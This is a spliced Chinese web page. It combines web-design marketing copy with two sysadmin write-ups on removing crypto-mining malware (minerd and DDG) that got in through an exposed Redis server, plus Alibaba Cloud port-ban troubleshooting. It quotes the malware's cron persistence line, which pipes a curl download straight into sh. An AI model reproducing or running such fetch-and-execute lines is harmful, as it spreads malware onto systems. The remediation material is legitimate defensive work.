这种病毒腾讯安全提到过
10多年的东坡网站建设经验,针对设计、前端、开发、售后、文案、推广等六对一服务,响应快,48小时及时工作处理。营销型网站建设的优势是能够根据用户设备显示端的尺寸不同,自动调整东坡建站的显示方式,使网站能够适用不同显示终端,在浏览器中调整网站的宽度,无论在任何一种浏览器上浏览网站,都能展现优雅布局与设计,从而大程度地提升浏览体验。成都创新互联公司从事“东坡网站设计”,“东坡网站推广”以来,每个客户项目都认真落实执行。
可以去下载安装一个腾讯御点
打开之后,使用里面的病毒查杀功能,直接就可以查杀这种电脑病毒了
1. 关闭访问挖矿服务器的访问
iptables -A INPUT -s xmr.crypto-pool.fr -j DROP and iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP.
2. chmod -x minerd ,取消掉执行权限, 在没有找到根源前,千万不要删除 minerd,因为删除了,过一回会自动有生成一个。
3. pkill minerd ,杀掉进程
4. service stop crond 或者 crontab -r 删除所有的执行计划
5. 执行top,查看了一会,没有再发现minerd 进程了。
6.检查/var/spool/cron/目录下发现有个root用户的定时器文件。
下载脚本的语句:
*/5 * * * * curl -fsSL | sh
病毒文件内容如下,感兴趣的可以研究下:
 View Code
解决minerd并不是最终的目的,主要是要查找问题根源,我的服务器问题出在了redis服务了,黑客利用了redis的一个漏洞获得了服务器的访问权限,然后就注入了病毒,下面是解决办法和清除工作:
1. 修复 redis 的后门,
配置bind选项, 限定可以连接Redis服务器的IP, 并修改redis的默认端口6379.
配置AUTH, 设置密码, 密码会以明文方式保存在redis配置文件中.
配置rename-command CONFIG “RENAME_CONFIG”, 这样即使存在未授权访问, 也能够给攻击者使用config指令加大难度
好消息是Redis作者表示将会开发”real user”,区分普通用户和admin权限,普通用户将会被禁止运行某些命令,如conf
2. 打开 ~/.ssh/authorized_keys, 删除你不认识的账号
3. 查看你的用户列表,是不是有你不认识的用户添加进来。 如果有就删除掉.
光删除没用的,因为没有解决好漏洞。
建议是重做系统,然后找护卫神给你做一下系统安全加固,把漏洞彻底堵住才有效果。
收到阿里云短信/站内信提醒,线上某资源被病毒入侵。查看告警详情及登录服务器后确认是感染了DDG挖矿病毒,入侵点是redis。由于病毒行为复杂,难以彻底清除对系统的修改,决定重置该实例然后重新部署服务。
实例重置后,发现yum无法使用。提示yum连接超时,连接的目标主机是阿里云的yum源(233.*的IP地址,为外网地址),协议为HTTP。
进一步测试发现DNS解析正常,curl访问内网的80端口正常,访问外网所有80端口均超时,访问外网的8080/443等部分非80端口正常。
经检查机器的iptables没有启用,阿里云安全组出站方向无限制。随后提交工单联系阿里云。
售后客服在工单中答复,之前机器被检测到有大量web攻击行为,阿里云已对该实例进行了出站特定端口封禁处理。在工单内表示问题已经排除后,客服提前人工解除封禁。
这类封禁处理不会体现在安全组,可以在 云盾安全管控管理控制台 来查看封禁记录。这个控制台也可以在阿里云控制台右上角账户图标--安全管控--处罚列表处进入。另外,处罚通知也会以站内信的方式发送(是否有短信暂不明确),所以及时查收站内信非常必要。
作为RAM用户身份登录难以保持登录状态,同时主账号对通知方式的设置不合理,加上对阿里云检测和通知机制不够熟悉,导致这次问题排查持续时间较久。
阿里云 yum 出站 端口 封禁 入侵